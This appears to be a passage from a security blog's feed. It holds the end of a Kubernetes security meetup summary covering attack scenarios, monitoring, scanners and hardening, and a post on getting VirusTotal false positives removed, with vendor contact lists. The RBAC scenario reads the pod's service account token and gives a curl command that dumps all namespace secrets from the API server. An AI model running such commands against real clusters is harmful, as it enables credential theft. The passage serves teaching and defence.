<p>The final scenario highlighted the dangers of overly permissive Role-Based Access Control (RBAC), a common issue addressed in Madhu Akula's blogs.</p>
<ul>
<li class="">Developers and DevOps teams often assign extra privileges to service accounts to ensure things "just work." In this scenario, a pod is only supposed to have access to a <code>webhookapikey</code>, but due to a misconfiguration, the attached service account has broader permissions.</li>
<li class="">From inside the pod, the attacker navigates to <code>/var/run/secrets/kubernetes.io/serviceaccount/</code> to find the mounted service account credentials (<code>ca.crt</code>, <code>namespace</code>, and <code>token</code>).</li>
<li class="">By exporting these values into environment variables (<code>TOKEN</code>, <code>CACERT</code>, <code>APISERVER</code>), the attacker uses <code>curl</code> to authenticate directly with the Kubernetes API Server.</li>
<li class="">Running a command like <code>curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets</code> successfully dumps all secrets in the namespace (including a highly sensitive <code>vaultapikey</code>). This perfectly illustrates how failing to implement the principle of least privilege can turn a minor pod compromise into a massive data breach.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="telemetry-dashboards-and-auditing-tools">Telemetry, Dashboards, and Auditing Tools<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#telemetry-dashboards-and-auditing-tools" class="hash-link" aria-label="Direct link to Telemetry, Dashboards, and Auditing Tools" title="Direct link to Telemetry, Dashboards, and Auditing Tools" translate="no">​</a></h3>
<p>The latter half of the presentation shifted focus towards defense, monitoring, and automated auditing.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="defending-with-falco">Defending with Falco<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#defending-with-falco" class="hash-link" aria-label="Direct link to Defending with Falco" title="Direct link to Defending with Falco" translate="no">​</a></h4>
<p>Abhishek emphasized the importance of runtime security monitoring. He showcased <strong>Falco</strong> as a vital tool for SOC teams.</p>
<ul>
<li class=""><strong>Why Falco?</strong> It provides crucial telemetry, allowing security teams to detect anomalous behavior in real-time. If a penetration tester (or a malicious actor) manages to execute commands or manipulate files within a Kubernetes environment, Falco generates alerts based on those runtime events.</li>
<li class="">In the Kubernetes Goat lab, this was demonstrated via the <em>Falco - Runtime security monitoring &amp; detection</em> scenario, showing how easily it can be deployed using Helm charts.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-dangers-of-an-unsecured-kubernetes-dashboard">The Dangers of an Unsecured Kubernetes Dashboard<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#the-dangers-of-an-unsecured-kubernetes-dashboard" class="hash-link" aria-label="Direct link to The Dangers of an Unsecured Kubernetes Dashboard" title="Direct link to The Dangers of an Unsecured Kubernetes Dashboard" translate="no">​</a></h4>
<p>After a short break, the session resumed with Abhishek deploying the official Kubernetes Dashboard using the <code>minikube dashboard</code> command.</p>
<ul>
<li class="">He explicitly discussed the severe consequences of leaving this dashboard unsecured and exposed to the internet.</li>
<li class=""><strong>The Impact:</strong> An attacker gaining access to the dashboard can easily view the entire workload status (Deployments, Pods, Replica Sets). More critically, they can inspect YAML configurations, view namespace details, read pod logs, delete images, and even gain direct SSH/exec access into running containers straight from the browser interface.
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/minikube-dashboard.png" alt="Unsecured Kubernetes Dashboard overview interface">
  <figcaption class="diagram-caption">
    <strong>Fig 6:</strong> Unsecured Kubernetes Dashboard overview interface
  </figcaption>
</figure>
</div></li>
</ul>

<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="automated-security-scanning-tools">Automated Security Scanning Tools<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#automated-security-scanning-tools" class="hash-link" aria-label="Direct link to Automated Security Scanning Tools" title="Direct link to Automated Security Scanning Tools" translate="no">​</a></h4>
<p>To wrap up the technical demonstrations, Abhishek ran through a battery of popular open-source auditing and scanning tools to show how defenders can proactively identify the vulnerabilities discussed throughout the meetup:</p>
<ul>
<li class=""><strong>KICS (Keeping Infrastructure as Code Secure):</strong> He demonstrated dumping secrets from all namespaces via <code>kubectl</code> and passing them to KICS. The resulting scan report clearly highlighted exposed secrets (e.g., <code>k8svaultapikey</code> and <code>k8swebhookapikey</code>), proving its utility in finding hardcoded credentials in configurations.
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/kicksscan-output.png" alt="KICS scan report indicating exposed configuration secrets">
  <figcaption class="diagram-caption">
    <strong>Fig 7:</strong> KICS scan report indicating exposed configuration secrets
  </figcaption>
</figure>
</div></li>
</ul>

<ul>
<li class=""><strong>Kube-bench:</strong> He then ran <code>kube-bench</code> to evaluate the cluster against CIS Kubernetes Benchmarks. The tool highlighted specific security postures (PASS, FAIL, WARN) for various components, such as whether API server token expiration was properly configured or if profiling was disabled on the controller manager.
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/kubebench-output.png" alt="kube-bench audit checks against CIS benchmarks">
  <figcaption class="diagram-caption">
    <strong>Fig 8:</strong> kube-bench audit checks against CIS benchmarks
  </figcaption>
</figure>
</div></li>
</ul>

<ul>
<li class=""><strong>Kubescape:</strong> Finally, he ran a <code>kubescape scan</code>, summarizing the overall security posture of the cluster and identifying misconfigurations against established security frameworks. He showed various results returned from Kubescape, highlighting what was not enabled on the control plane and detailing compliance scores. He then specifically ran <code>kubescape scan framework mitre</code> to evaluate the cluster against the MITRE ATT&amp;CK framework, highlighting high-severity findings such as "Applications credentials in configuration files" (with compliance score details), "List Kubernetes secrets", and "Writable hostPath mount".
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/kubescape-scan-output.png" alt="Kubescape scan security posture results">
  <figcaption class="diagram-caption">
    <strong>Fig 9:</strong> Kubescape scan security posture results
  </figcaption>
</figure>
</div></li>
</ul>

<ul>
<li class=""><strong>Grype:</strong> He also briefly ran <code>grype</code> (e.g., <code>grype alpine:latest</code>), which is a vulnerability scanner for container images and filesystems. This tool is essential for identifying CVEs (Common Vulnerabilities and Exposures) within the base images and packages running in your cluster before they can be exploited.
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/grype-output.png" alt="Grype container image vulnerability scan output">
  <figcaption class="diagram-caption">
    <strong>Fig 10:</strong> Grype container image vulnerability scan output
  </figcaption>
</figure>
</div></li>
</ul>

<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="kubernetes-hardening--security">Kubernetes Hardening &amp; Security<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#kubernetes-hardening--security" class="hash-link" aria-label="Direct link to Kubernetes Hardening &amp; Security" title="Direct link to Kubernetes Hardening &amp; Security" translate="no">​</a></h3>
<p>To conclude the session, Abhishek moved back to the slideshow to discuss fundamental Kubernetes hardening and security concepts.</p>
<p>The golden rule underlying all these concepts is simple: <mark><strong>Follow the "Principle of least privilege."</strong></mark></p>
<p>He outlined several key areas for securing a cluster, including Open Policy Agent (OPA), Network Policies, Secrets management, and most notably, Pod Security Policies.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="pod-security-policy-psp">Pod Security Policy (PSP)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#pod-security-policy-psp" class="hash-link" aria-label="Direct link to Pod Security Policy (PSP)" title="Direct link to Pod Security Policy (PSP)" translate="no">​</a></h4>
<p>A Pod Security Policy (PSP) is a cluster-level resource that controls the security-related attributes of pods, specifically managing container privilege levels. Key guidelines when defining a PSP include:</p>
<ul>
<li class=""><strong>Do not run application processes as root:</strong> Ensure containers run as non-root users.</li>
<li class=""><strong>Do not allow privilege escalation:</strong> Prevent child processes from gaining more privileges than their parent.</li>
<li class=""><strong>Use a read-only root filesystem:</strong> Mitigate the impact of a compromised container by preventing file writes.</li>
<li class=""><strong>Use the default (masked) <code>/proc</code> filesystem mount:</strong> Protect sensitive kernel parameters.</li>
<li class=""><strong>Do not use the host network or process space:</strong> Isolate the container from the underlying node's network and process ID namespaces.</li>
<li class=""><strong>Drop unused and unnecessary Linux capabilities:</strong> Strip away any capabilities the application doesn't strictly need (e.g., dropping <code>NET_RAW</code> if ping isn't required).</li>
<li class=""><strong>Service Account control:</strong> Tightly manage what service accounts are mounted into pods.</li>
</ul>
<blockquote>
<p><strong>Crucial Note on Pod Security Policies</strong></p>
<p>When a PSP resource is created, <em>it does nothing</em> on its own. You must explicitly authorize it using <strong>RBAC (Role-Based Access Control)</strong> for it to take effect!</p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="open-policy-agent-opa--gatekeeper">Open Policy Agent (OPA) / Gatekeeper<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#open-policy-agent-opa--gatekeeper" class="hash-link" aria-label="Direct link to Open Policy Agent (OPA) / Gatekeeper" title="Direct link to Open Policy Agent (OPA) / Gatekeeper" translate="no">​</a></h4>
<p>While PSPs are great for Pod-level security, what if you need to control fields in other resources or enforce complex, custom logic? This is where <strong>Open Policy Agent (Gatekeeper)</strong> comes in.</p>
<p>Gatekeeper acts as a customizable admission controller. It gives you the ability to:</p>
<ul>
<li class="">Enforce required labels on all resources.</li>
<li class="">Mandate a required resources section (CPU/Memory limits).</li>
<li class="">Mutate container images to always point to an internal corporate image registry.</li>
<li class="">Set strict node and pod affinity/anti-affinity selectors to Deployments.</li>
<li class="">Essentially, you can enforce <em>anything</em> that you want to see (or not see) in your Kubernetes configurations.</li>
</ul>
<p><strong>Example: Restricting Image Registries</strong>
Abhishek showed an example of a Gatekeeper constraint (<code>K8sAllowedRepos</code>) designed to enforce the use of only allowed container registries (e.g., <code>openpolicyagent/</code> and <code>myregistry.com/</code>). When a user attempts to run a pod with an unapproved image (<code>kubectl run my-pod --image=nginx</code>), the admission webhook intercepts the request and strictly denies it, returning a "Forbidden" error.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="network-policies">Network Policies<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#network-policies" class="hash-link" aria-label="Direct link to Network Policies" title="Direct link to Network Policies" translate="no">​</a></h4>
<p>If OPA is your configuration enforcer, a <strong>Network Policy</strong> is your internal cluster firewall.</p>
<p>By default in Kubernetes, pods can communicate freely with each other. Network Policies allow you to lock this down by explicitly defining <strong>Ingress</strong> (incoming) and <strong>Egress</strong> (outgoing) traffic rules at the Namespace or Pod level.</p>
<ul>
<li class=""><strong>Default Deny:</strong> The best practice is to implement a "Default Deny" policy that blocks all traffic, and then explicitly allow only what is necessary.</li>
<li class=""><strong>Granular Control:</strong> You can restrict traffic based on IP blocks, namespaces, or specific pod labels.
<ul>
<li class=""><em>Ingress Example:</em> Allowing traffic to a <code>webapp</code> pod only on ports 80 and 443 from specific internal IP subnets.</li>
<li class=""><em>Egress Example:</em> Restricting outbound traffic so a pod can only resolve DNS (UDP port 53 to <code>kube-dns</code>) and cannot arbitrarily reach out to the internet or other namespaces.</li>
</ul>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="secrets-management">Secrets Management<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#secrets-management" class="hash-link" aria-label="Direct link to Secrets Management" title="Direct link to Secrets Management" translate="no">​</a></h4>
<p>Abhishek posed an important question: <em>"Where do I version control my secrets?"</em></p>
<ul>
<li class="">In his slides, he joked about bad solutions like "Paper / USB / CD / Two fireproof safes?" ~caught my eye :)</li>
<li class="">The actual solution: Integrate an external KMS (Key Management System) like <strong>HashiCorp Vault</strong> (or Consul).</li>
<li class=""><strong>How it works:</strong> Rather than storing secrets plainly in <code>etcd</code>, you configure the Kubernetes API server to encrypt secrets at rest using a transit encryption key managed by Vault (via a <code>vault-kubernetes-kms</code> provider).</li>
<li class=""><em>Reference:</em> He recommended checking out the official <a href="https://developer.hashicorp.com/vault/tutorials/kubernetes-introduction/vault-secrets-operator" target="_blank" rel="noopener noreferrer" class="">HashiCorp Vault Secrets Operator tutorial</a>.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="securing-the-core-cluster-components">Securing the Core Cluster Components<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#securing-the-core-cluster-components" class="hash-link" aria-label="Direct link to Securing the Core Cluster Components" title="Direct link to Securing the Core Cluster Components" translate="no">​</a></h4>
<p>Finally, he ran through rapid-fire configurations for hardening the critical components of the Kubernetes cluster itself:</p>
<ul>
<li class=""><strong>API Server:</strong>
<ul>
<li class="">By default, it might listen on an insecure port (8080) where requests bypass all authentication and authorization checks.</li>
<li class=""><em>Fix:</em> Close the insecure port by setting the <code>--insecure-port</code> flag to <code>0</code>, and ensure <code>--insecure-bind-address</code> is not set.</li>
</ul>
</li>
<li class=""><strong>etcd:</strong>
<ul>
<li class="">This backend database is critical and must be secured.</li>
<li class=""><em>Fix:</em> Close its insecure ports similarly. Crucially, the etcd server should be configured to <em>only</em> trust certificates assigned to API servers.</li>
</ul>
</li>
<li class=""><strong>Kubelet:</strong>
<ul>
<li class="">The agent responsible for launching pods.</li>
<li class=""><em>Fix:</em> Disable anonymous access (<code>--anonymous-auth=false</code>). Ensure requests are authorized by setting <code>--authorization-mode=Webhook</code> (avoiding <code>AlwaysAllow</code>) and strictly defining the CA certificate (<code>--client-ca-file=/etc/kubernetes/pki/ca.crt</code>).</li>
</ul>
</li>
<li class=""><strong>Kubernetes Dashboard:</strong>
<ul>
<li class="">Historically a prime target for attackers.</li>
<li class=""><em>Fix:</em> Allow only authenticated access (known users), enforce RBAC to limit user privileges strictly to what they need, and <strong>never</strong> expose the dashboard to the public internet unless you are absolutely sure of what you are doing.</li>
</ul>
</li>
</ul>
<p><strong>Control Plane Ports to Monitor:</strong>
He also shared a quick reference table of control plane ports. A good quick-check is to try <code>curl</code>ing these ports to ensure they are properly secured:</p>
<ul>
<li class=""><strong>6443 / 8080 (TCP Inbound):</strong> Kubernetes API Server</li>
<li class=""><strong>2379, 2380 (TCP Inbound):</strong> etcd server client API</li>
<li class=""><strong>10250 (TCP Inbound):</strong> Kubelet API</li>
<li class=""><strong>10251 (TCP Inbound):</strong> kube-scheduler</li>
<li class=""><strong>10252 (TCP Inbound):</strong> kube-controller-manager</li>
<li class=""><strong>10258 (TCP Inbound):</strong> Kubernetes-controller-manager (Optional)</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="additional-tooling-for-kubernetes-security">Additional Tooling for Kubernetes Security<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#additional-tooling-for-kubernetes-security" class="hash-link" aria-label="Direct link to Additional Tooling for Kubernetes Security" title="Direct link to Additional Tooling for Kubernetes Security" translate="no">​</a></h3>
<p>As a final takeaway, Abhishek provided a rapid-fire list of essential tools that can help audit, secure, and monitor Kubernetes environments:</p>
<ul>
<li class=""><strong>Trivy:</strong> A comprehensive vulnerability scanner for containers and artifacts.</li>
<li class=""><strong>Grype:</strong> A vulnerability scanner specifically for container images and filesystems.</li>
<li class=""><strong>KICS (Keeping Infrastructure as Code Secure):</strong> Finds security vulnerabilities and misconfigurations in IaC.</li>
<li class=""><strong>Kubescape:</strong> A Kubernetes security posture management tool that tests if a cluster is deployed securely against frameworks like NSA and MITRE.</li>
<li class=""><strong>Kubectl:</strong> The indispensable Kubernetes command-line tool.</li>
<li class=""><strong>kubiscan:</strong> A tool to scan Kubernetes clusters for risky permissions and RBAC issues.</li>
<li class=""><strong>Kube-hunter:</strong> Hunts for security weaknesses in Kubernetes clusters from an attacker's perspective.</li>
<li class=""><strong>Kube-bench:</strong> Checks whether Kubernetes is deployed securely according to CIS benchmarks.</li>
<li class=""><strong>kubeaudit:</strong> A command-line tool to audit a cluster for various security concerns (e.g., checking if containers run as non-root, use read-only root filesystems, drop scary capabilities, and don't run privileged). It directly points out missing annotations like AppArmor or problematic default ServiceAccount token mounts.</li>
<li class=""><strong>kube-score:</strong> Performs static code analysis of your Kubernetes object definitions with recommendations for improved reliability and security.</li>
<li class=""><strong>Checkov:</strong> A static code analysis tool for infrastructure as code.</li>
<li class=""><strong>Kubesec:</strong> A Kubectl plugin for scanning pods, deployments, daemonsets, and statefulsets that suggests specific improvements (e.g., dropping <code>CAP_SYS_ADMIN</code> or forcing <code>runAsNonRoot</code>).</li>
<li class=""><strong>kubesploit:</strong> A cross-platform post-exploitation HTTP/2 Command &amp; Control server and agent for Kubernetes environments.</li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="Docker" term="Docker"/>
        <category label="K8s" term="K8s"/>
        <category label="Kubernetes" term="Kubernetes"/>
        <category label="Containers" term="Containers"/>
        <category label="Pods" term="Pods"/>
        <category label="Breachforce-Meetup-Mumbai-Summary" term="Breachforce-Meetup-Mumbai-Summary"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[How We Cleared VirusTotal False Positives for Our Domain]]></title>
        <id>https://blog.haxnation.org/vt-fp</id>
        <link href="https://blog.haxnation.org/vt-fp"/>
        <updated>2026-06-06T08:00:00.000Z</updated>
        <summary type="html"><![CDATA[One morning, our domain appeared on VirusTotal with detections from more than nine security vendors. This is the story of how we investigated the issue, reached out to the vendors, and ultimately got the false positives cleared.
]]></summary>
        <content type="html"><![CDATA[<p>One morning, our domain appeared on VirusTotal with detections from nine security vendors. This is the story of how we investigated the issue, reached out to the vendors, and ultimately got the false positives cleared.</p>
<style>
.diagram-container {
  display: flex;
  justify-content: center;
  margin: 2rem 0;
}

.diagram-container figure {
  text-align: center;
}

.diagram-img {
  max-width: 100%;
  height: auto;
}
</style>
<p><em>A story of the day our domain was flagged by over 9 security vendors on VirusTotal and how we contacted the vendors to get the false positives removed.</em></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-it-started">How It Started<a href="https://blog.haxnation.org/vt-fp#how-it-started" class="hash-link" aria-label="Direct link to How It Started" title="Direct link to How It Started" translate="no">​</a></h2>
<p>On <strong>31st May 2026</strong>, we shared one of our blog posts in our community group. Shortly after, one of our community members reached out and mentioned that they were unable to open our website because <strong>Bitdefender</strong> was flagging the domain as malicious.</p>
<p>Our founder immediately looked into the issue and scanned the domain on VirusTotal. To our surprise, the domain had been flagged by <strong>more than 9 security vendors</strong>.</p>
<div class="diagram-container">
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/misc/imgs/vt-fp-flag.png" alt="VirusTotal False Positives on our domain.">
    <figcaption class="diagram-caption">
      <strong>Fig 1.1:</strong> haxnation.org domain was flagged by over 9 security vendors on VirusTotal.
    </figcaption>
  </figure>
</div>
<p>And that's when his hunt began.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="finding-a-way-to-clear-the-detections">Finding a Way to Clear the Detections<a href="https://blog.haxnation.org/vt-fp#finding-a-way-to-clear-the-detections" class="hash-link" aria-label="Direct link to Finding a Way to Clear the Detections" title="Direct link to Finding a Way to Clear the Detections" translate="no">​</a></h2>
<p>After some digging, Our founder discovered that there isn't a central "remove false positive" button on VirusTotal.</p>
<p>Instead, you need to <strong>contact each security vendor individually and submit a false positive report</strong> for review.</p>
<p>He then pinged me and asked me to continue from there and resolve the issue.</p>
<p>So I started searching for every vendor's submission portal, support page, email address, and any available process for reporting false positives.</p>
<p>To save others from going through the same research, I've listed all the resources we used below.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="security-vendors-and-false-positive-submission-resources">Security Vendors and False Positive Submission Resources<a href="https://blog.haxnation.org/vt-fp#security-vendors-and-false-positive-submission-resources" class="hash-link" aria-label="Direct link to Security Vendors and False Positive Submission Resources" title="Direct link to Security Vendors and False Positive Submission Resources" translate="no">​</a></h2>













































<table><thead><tr><th>Vendor</th><th>False Positive Submission Method</th></tr></thead><tbody><tr><td>Kaspersky</td><td><a href="https://opentip.kaspersky.com/" target="_blank" rel="noopener noreferrer" class="">https://opentip.kaspersky.com/</a></td></tr><tr><td>Fortinet</td><td><a href="https://www.fortiguard.com/webfilter" target="_blank" rel="noopener noreferrer" class="">https://www.fortiguard.com/webfilter</a></td></tr><tr><td>Bitdefender</td><td><a href="https://www.bitdefender.com/consumer/support/answer/29358/" target="_blank" rel="noopener noreferrer" class="">https://www.bitdefender.com/consumer/support/answer/29358/</a></td></tr><tr><td>CRDF Labs</td><td><a href="https://threatcenter.crdf.fr/false_positive.html#false-positive-form" target="_blank" rel="noopener noreferrer" class="">https://threatcenter.crdf.fr/false_positive.html#false-positive-form</a></td></tr><tr><td>G DATA</td><td><a href="https://www.gdata.de/help-en/general/GeneralInformation/submitFileAppURL/" target="_blank" rel="noopener noreferrer" class="">https://www.gdata.de/help-en/general/GeneralInformation/submitFileAppURL/</a></td></tr><tr><td>Lionic</td><td><a href="https://www.lionic.com/supports/report-false-positive/" target="_blank" rel="noopener noreferrer" class="">https://www.lionic.com/supports/report-false-positive/</a></td></tr><tr><td>Sophos</td><td><a href="https://support.sophos.com/support/s/filesubmission?language=en_US" target="_blank" rel="noopener noreferrer" class="">https://support.sophos.com/support/s/filesubmission?language=en_US</a></td></tr><tr><td>Adminus</td><td>Email: <a href="mailto:samples@adminus.net" target="_blank" rel="noopener noreferrer" class="">samples@adminus.net</a></td></tr><tr><td>CyRadar</td><td><a href="https://cyradar.com/reportfp/" target="_blank" rel="noopener noreferrer" class="">https://cyradar.com/reportfp/</a></td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="notes-for-specific-vendors">Notes for Specific Vendors<a href="https://blog.haxnation.org/vt-fp#notes-for-specific-vendors" class="hash-link" aria-label="Direct link to Notes for Specific Vendors" title="Direct link to Notes for Specific Vendors" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="kaspersky">Kaspersky<a href="https://blog.haxnation.org/vt-fp#kaspersky" class="hash-link" aria-label="Direct link to Kaspersky" title="Direct link to Kaspersky" translate="no">​</a></h3>
<p>For Kaspersky, we used their Threat Intelligence portal:</p>
<p><a href="https://opentip.kaspersky.com/" target="_blank" rel="noopener noreferrer" class="">https://opentip.kaspersky.com/</a></p>
<p>You need to enter your domain, fetch the results, and then submit a request for reanalysis. The process is explained in detail here:</p>
<p><a href="https://support.kaspersky.com/kaspersky-for-windows/21.25/troubleshooting/other/1870" target="_blank" rel="noopener noreferrer" class="">https://support.kaspersky.com/kaspersky-for-windows/21.25/troubleshooting/other/1870</a></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="adminus">Adminus<a href="https://blog.haxnation.org/vt-fp#adminus" class="hash-link" aria-label="Direct link to Adminus" title="Direct link to Adminus" translate="no">​</a></h3>
<p>For Adminus, there isn't a dedicated false positive submission portal.</p>
<p>Instead, send an email to:</p>
<p><strong><a href="mailto:samples@adminus.net" target="_blank" rel="noopener noreferrer" class="">samples@adminus.net</a></strong></p>
<p>Use the subject line:</p>
<p><strong>False Positive Request for [domain-name]</strong></p>
<p>and include details about the detection along with the domain you want reviewed.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="additional-resources-aggregated-from-public-sources--not-personally-tested">Additional Resources (Aggregated from Public Sources – Not Personally Tested)<a href="https://blog.haxnation.org/vt-fp#additional-resources-aggregated-from-public-sources--not-personally-tested" class="hash-link" aria-label="Direct link to Additional Resources (Aggregated from Public Sources – Not Personally Tested)" title="Direct link to Additional Resources (Aggregated from Public Sources – Not Personally Tested)" translate="no">​</a></h2>
<p><strong>Note:</strong> The vendors and links below were aggregated from community resources (such as the <a href="https://github.com/yaronelh/False-Positive-Center" target="_blank" rel="noopener noreferrer" class="">False-Positive-Center GitHub repo</a>, <a href="https://tickets.onehoursitefix.com/kb/faq.php?id=163" target="_blank" rel="noopener noreferrer" class="">OneHourSiteFix</a> guides, and other public references). These are <strong>not</strong> part of our personal experience and have <strong>not been tested</strong> by us. Links and processes can change over time, so always verify on the vendor's site and use a professional email. Include your VirusTotal link, exact detection name, and a clear explanation that it's a legitimate site.</p>
<p>Official contact list from VT if you can't find anything on vendors - <a href="https://docs.virustotal.com/docs/false-positive-contacts" target="_blank" rel="noopener noreferrer" class="">https://docs.virustotal.com/docs/false-positive-contacts</a></p>
<blockquote>
<p>Note that these lists from GitHub, VT and OneHourSiteFix are not updated, they can be used as a fallback if you can't find anything on the vendor.</p>
</blockquote>

















































































<table><thead><tr><th>Vendor</th><th>False Positive Submission Method</th></tr></thead><tbody><tr><td>Avast</td><td><a href="https://www.avast.com/report-false-positive" target="_blank" rel="noopener noreferrer" class="">https://www.avast.com/report-false-positive</a></td></tr><tr><td>AVG</td><td><a href="https://www.avg.com/false-positive-file-form" target="_blank" rel="noopener noreferrer" class="">https://www.avg.com/false-positive-file-form</a> or <a href="https://www.avg.com/us-en/whitelist" target="_blank" rel="noopener noreferrer" class="">https://www.avg.com/us-en/whitelist</a></td></tr><tr><td>Avira</td><td><a href="https://www.avira.com/en/analysis/submit" target="_blank" rel="noopener noreferrer" class="">https://www.avira.com/en/analysis/submit</a> (or URL-specific: <a href="https://www.avira.com/en/analysis/submit-url" target="_blank" rel="noopener noreferrer" class="">https://www.avira.com/en/analysis/submit-url</a>)</td></tr><tr><td>Acronis</td><td>Email: <a href="mailto:virustotal-falsepositive@acronis.com" target="_blank" rel="noopener noreferrer" class="">virustotal-falsepositive@acronis.com</a></td></tr><tr><td>AhnLab</td><td>Email: <a href="mailto:v3sos@ahnlab.com" target="_blank" rel="noopener noreferrer" class="">v3sos@ahnlab.com</a> (recommended) or Email: <a href="mailto:samples@ahnlab.com" target="_blank" rel="noopener noreferrer" class="">samples@ahnlab.com</a></td></tr><tr><td>AlphaMountain.ai</td><td><a href="https://www.alphamountain.ai/false-positive/" target="_blank" rel="noopener noreferrer" class="">https://www.alphamountain.ai/false-positive/</a></td></tr><tr><td>Arcabit</td><td>Email: <a href="mailto:vt.fp@arcabit.pl" target="_blank" rel="noopener noreferrer" class="">vt.fp@arcabit.pl</a></td></tr><tr><td>ClamAV</td><td><a href="https://www.clamav.net/reports/fp" target="_blank" rel="noopener noreferrer" class="">https://www.clamav.net/reports/fp</a></td></tr><tr><td>Dr.Web</td><td><a href="https://vms.drweb.com/sendvirus/" target="_blank" rel="noopener noreferrer" class="">https://vms.drweb.com/sendvirus/</a> or <a href="https://support.drweb.com/new/urlfilter/?lng=en" target="_blank" rel="noopener noreferrer" class="">https://support.drweb.com/new/urlfilter/?lng=en</a></td></tr><tr><td>Emsisoft</td><td><a href="https://www.emsisoft.com/en/support/submit/" target="_blank" rel="noopener noreferrer" class="">https://www.emsisoft.com/en/support/submit/</a> or Email: <a href="mailto:fp@emsisoft.com" target="_blank" rel="noopener noreferrer" class="">fp@emsisoft.com</a></td></tr><tr><td>ESET</td><td>Email: <a href="mailto:samples@eset.com" target="_blank" rel="noopener noreferrer" class="">samples@eset.com</a></td></tr><tr><td>F-Secure / WithSecure</td><td><a href="https://www.f-secure.com/en/business/support-and-downloads/submit-a-sample" target="_blank" rel="noopener noreferrer" class="">https://www.f-secure.com/en/business/support-and-downloads/submit-a-sample</a></td></tr><tr><td>Forcepoint</td><td>Email: <a href="mailto:suggest@forcepoint.com" target="_blank" rel="noopener noreferrer" class="">suggest@forcepoint.com</a></td></tr><tr><td>Google Safe Browsing</td><td><a href="https://safebrowsing.google.com/safebrowsing/report_error/?hl=en" target="_blank" rel="noopener noreferrer" class="">https://safebrowsing.google.com/safebrowsing/report_error/?hl=en</a></td></tr><tr><td>Gridinsoft</td><td><a href="https://gridinsoft.com/incorrect-detection" target="_blank" rel="noopener noreferrer" class="">https://gridinsoft.com/incorrect-detection</a> or Email: <a href="mailto:virus@gridinsoft.com" target="_blank" rel="noopener noreferrer" class="">virus@gridinsoft.com</a></td></tr><tr><td>Ikarus</td><td>Email: <a href="mailto:fp@ikarus.at" target="_blank" rel="noopener noreferrer" class="">fp@ikarus.at</a></td></tr><tr><td>Malwarebytes</td><td><a href="https://support.malwarebytes.com/hc/en-us/articles/360038524154-Report-a-false-positive-to-Malwarebytes-Support" target="_blank" rel="noopener noreferrer" class="">https://support.malwarebytes.com/hc/en-us/articles/360038524154-Report-a-false-positive-to-Malwarebytes-Support</a></td></tr><tr><td>Palo Alto Networks</td><td><a href="https://live.paloaltonetworks.com/t5/virustotal/bd-p/VirusTotal_Discussions" target="_blank" rel="noopener noreferrer" class="">https://live.paloaltonetworks.com/t5/virustotal/bd-p/VirusTotal_Discussions</a></td></tr></tbody></table>
<p><strong>Additional Tips (from aggregated sources):</strong></p>
<ul>
<li class="">Use <strong>domain[.]com</strong> format in emails to avoid spam filters.</li>
<li class="">For vendors that share engines/signatures (e.g., some smaller ones use Bitdefender, Avira, or ClamAV), submitting to the main engine may help multiple detections.</li>
<li class="">Always start with a fresh <strong>VirusTotal URL scan</strong> to see the current list of flagging vendors.</li>
<li class="">Be patient as some vendors respond in hours, others take days or weeks.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-result">The Result<a href="https://blog.haxnation.org/vt-fp#the-result" class="hash-link" aria-label="Direct link to The Result" title="Direct link to The Result" translate="no">​</a></h2>
